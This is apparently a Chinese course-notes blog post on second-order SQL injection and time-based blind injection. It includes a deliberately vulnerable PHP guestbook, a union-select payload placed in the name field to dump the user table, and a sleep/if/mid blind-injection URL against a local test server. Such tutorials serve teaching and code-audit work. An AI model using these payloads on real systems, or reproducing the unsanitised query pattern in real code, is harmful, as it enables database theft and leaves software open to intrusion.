小迪16期-20170403

2018-10-31  本文已影响0人  无罪的坏人

第七天:二次注入原理及演示(代码审计意义很大)

二次注入代码审计解析

盲注攻击 sleep if sql语句

1.二次注入产生的地方:评论区或留言区,需要交互的地方。
2.手工写一个二次注入的文件

<form action="" method="post">
标题:<input type="text" name="t"><br>
内容:<input type="text" name="c"><br>
作者:<input type="text" name="n"><br>
<input type="submit" value="提交"><br>
</form>

<?php
$name=$_POST['n'];
$content=$_POST['c'];
$title=$_POST['t'];

//插入数据
$conn=mysql_connect(127.0.0.1,'root','root');
mysql_select_db("ercisqlin",$conn);
$sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')";
//mysql_query($sql);
if(!empty($name)){
   mysql_query($sql);
}

//显示数据
$conn1=mysql_connect('127.0.0.1','root','root');
mysql_select_db("ercisqlin",$conn1);
$sql1="select * from gbook";

$result = mysql_query($sql1);
while($row = mysql_fetch_array($result)){
    echo "用户:".$row['name']."<br >";
    echo "文章标题:".$row['title']."<br >";
    echo "文章内容:".$row['content']."<br >";
    $n=$row['name'];
    $sql2="select * from gbook where name='$n'";
    echo $sql2."<br >";;
}

mysql_close($conn);
mysql_close($conn1);

$sql="INSERT INTO `gbook`(`name`, `title`, `content`) VALUES ('$name','$title','$content')"; //发表评论
$sql2="select * from gbook where name='$name'"; //匹配评论结果显示
//二次注入的原理:
//1.攻击语句写入到名字,名字接受的数据写入数据库
//admin' union select 1,2,3,4 from user and '1'='1
//2.评论或者留言展示出来
//select * from gbook where name='admin' union select 1,2,3,4 from user and '1'='1';
//这条语句前半部分执行成功,后半部分是把user表的数据都查出来了


?>

image.png

这样就把users表的数据都查出来了。

盲注

If(条件,执行,反之)
Sleep(x) 执行x秒
length(x) 函数是统计字符串的长度
mid(x,第1位,1) 字符串截取
ORD() 转换成ascii码

获取长度,if判断成立


if条件成立就5秒后显示结果.png

http://127.0.0.1/sqlin/mysql/index.php?x=1 and sleep(if((select mid(database(),1,1)='s'),5,0))

上一篇 下一篇

猜你喜欢

热点阅读